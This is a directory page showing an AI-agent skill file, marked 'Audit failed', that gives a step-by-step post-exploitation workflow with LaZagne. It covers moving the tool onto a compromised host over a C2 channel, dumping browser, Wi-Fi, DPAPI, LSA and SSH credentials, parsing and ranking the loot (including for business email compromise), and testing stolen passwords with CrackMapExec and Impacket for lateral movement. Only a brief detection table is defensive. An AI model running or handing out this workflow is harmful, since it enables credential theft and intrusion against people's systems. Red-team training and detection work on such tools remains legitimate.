Wardn Hub
MCP ServersSkillsCategoriesAPI docsSubmit server
Submit server
Wardn HubTrusted MCP server directory.

Registry

  • MCP Servers
  • Skills
  • Categories

Resources

  • API docs
  • Score method

Contribute

  • Submit server
  • Advertise
© 2026 Wardn Hub
Wardn Hub
MCP ServersSkillsCategoriesAPI docsSubmit server
Submit server
skills/mukul975/Anthropic-Cybersecurity-Skills/performing-credential-access-with-lazagne

Account Takeover

1
mukul975/Anthropic-Cybersecurity-Skills·Security·Audit failed·Snapshot 99011686a1c0
Installs
0

Summary

Extract stored credentials from compromised endpoints using the LaZagne

SKILL.md

Performing Credential Access with LaZagne

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

  • When conducting security assessments that involve performing credential access with lazagne
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
  • Extract credentials from all supported password stores
  • Parse and prioritize recovered credentials for lateral movement
  • Identify high-value credentials (domain admin, service accounts, cloud access)
  • Document credential harvesting results with appropriate evidence handling
  • Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

  • T1555 - Credentials from Password Stores
  • T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
  • T1555.004 - Credentials from Password Stores: Windows Credential Manager
  • T1552.001 - Unsecured Credentials: Credentials In Files
  • T1552.002 - Unsecured Credentials: Credentials in Registry
  • T1003.004 - OS Credential Dumping: LSA Secrets
  • T1539 - Steal Web Session Cookie
  • Workflow

    Phase 1: LaZagne Deployment

    1. Transfer LaZagne to the compromised host:
      # Pre-compiled executable (Windows)
      # Transfer lazagne.exe via C2 channel or file upload
      
      # Python version (requires Python on target)
      git clone https://github.com/AlessandroZ/LaZagne.git
      cd LaZagne
      pip install -r requirements.txt
      
    2. Verify execution capability and privileges:
      # Check current user context
      whoami /priv
      
      # LaZagne works with standard user privileges for user-level stores
      # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
      

    Phase 2: Full Credential Extraction (Windows)

    1. Run LaZagne with all modules:
      # Extract all credentials
      lazagne.exe all
      
      # Export results to JSON
      lazagne.exe all -oJ
      
      # Export results to specific file
      lazagne.exe all -oJ -output C:\Temp\creds
      
    2. Run specific modules for targeted extraction:
      # Browsers only (Chrome, Firefox, Edge, Opera, IE)
      lazagne.exe browsers
      
      # Windows credential stores
      lazagne.exe windows
      
      # Database credentials
      lazagne.exe databases
      
      # Email client credentials
      lazagne.exe mails
      
      # Wi-Fi passwords
      lazagne.exe wifi
      
      # Git credentials
      lazagne.exe git
      
      # System credentials (requires elevated privileges)
      lazagne.exe sysadmin
      

    Phase 3: Credential Extraction (Linux)

    1. Run LaZagne on Linux targets:
      # Full extraction
      python3 laZagne.py all
      
      # Browser credentials
      python3 laZagne.py browsers
      
      # System credentials (SSH keys, shadow file with root)
      python3 laZagne.py sysadmin
      
      # Database credentials
      python3 laZagne.py databases
      
      # Git credentials
      python3 laZagne.py git
      

    Phase 4: Credential Analysis and Prioritization

    1. Parse JSON output for unique credentials:
      import json
      with open("creds.json") as f:
          results = json.load(f)
      for module in results:
          for entry in module.get("results", []):
              print(f"Source: {entry.get('Category')}")
              print(f"  User: {entry.get('Login', 'N/A')}")
              print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
      
    2. Prioritize credentials by value:
      • Domain credentials (AD accounts) for lateral movement
      • Cloud service credentials (AWS, Azure, GCP console)
      • VPN and remote access credentials
      • Database credentials for data access
      • Email credentials for business email compromise
      • Service account credentials for privilege escalation

    Phase 5: Credential Validation and Use

    1. Validate recovered domain credentials:
      # Test domain credentials with CrackMapExec
      crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
      
      # Test with Impacket
      smbclient.py domain.local/user:'password'@10.10.10.1
      
    2. Cross-reference with BloodHound paths for high-value targets
    3. Use recovered credentials for lateral movement or privilege escalation

    Tools and Resources

    ToolPurposePlatform
    LaZagneMulti-source credential extractionWindows/Linux/macOS
    MimikatzLSASS/DPAPI credential dumpingWindows
    SharpChromeChrome credential extraction (.NET)Windows
    SharpDPAPIDPAPI credential decryptionWindows
    CrackMapExecCredential validation and sprayingLinux
    ImpacketRemote credential testingLinux (Python)

    LaZagne Module Coverage (Windows)

    CategoryModules
    BrowsersChrome, Firefox, Edge, Opera, IE, Brave, Vivaldi
    EmailOutlook, Thunderbird, Foxmail
    DatabasesPostgreSQL, MySQL, SQLiteDB, Robomongo
    SysadminPuTTY, WinSCP, FileZilla, OpenSSH, RDPManager
    WindowsCredential Manager, Vault, DPAPI, Autologon
    WiFiStored Wi-Fi passwords
    GitGit Credential Store, Git Credential Manager
    SVNTortoiseSVN
    ChatPidgin, Skype

    Detection Signatures

    IndicatorDetection Method
    LaZagne.exe process executionEDR process monitoring with hash-based detection
    Access to Chrome Login Data SQLite DBFile access monitoring on browser credential stores
    DPAPI CryptUnprotectData API callsAPI hooking and ETW tracing
    Access to Windows Credential ManagerEvent 5379 (Credential Manager read)
    Mass credential store enumerationBehavioral analysis for sequential access patterns
    Python interpreter accessing credential filesScript block logging and file access auditing

    Validation Criteria

    • LaZagne deployed on compromised endpoint
    • Full credential extraction completed (all modules)
    • Credentials exported in JSON format for analysis
    • Recovered credentials parsed and deduplicated
    • High-value credentials identified and prioritized
    • Domain credentials validated against AD
    • Lateral movement opportunities identified from recovered creds
    • Evidence documented with appropriate handling procedures

    Related skills

    securing-github-actions-workflowsimplementing-rbac-hardening-for-kubernetesAbuse of Public-Facing API: Mobile API AbuseAccess with Stolen Session CookieAccess with Stolen Session Cookie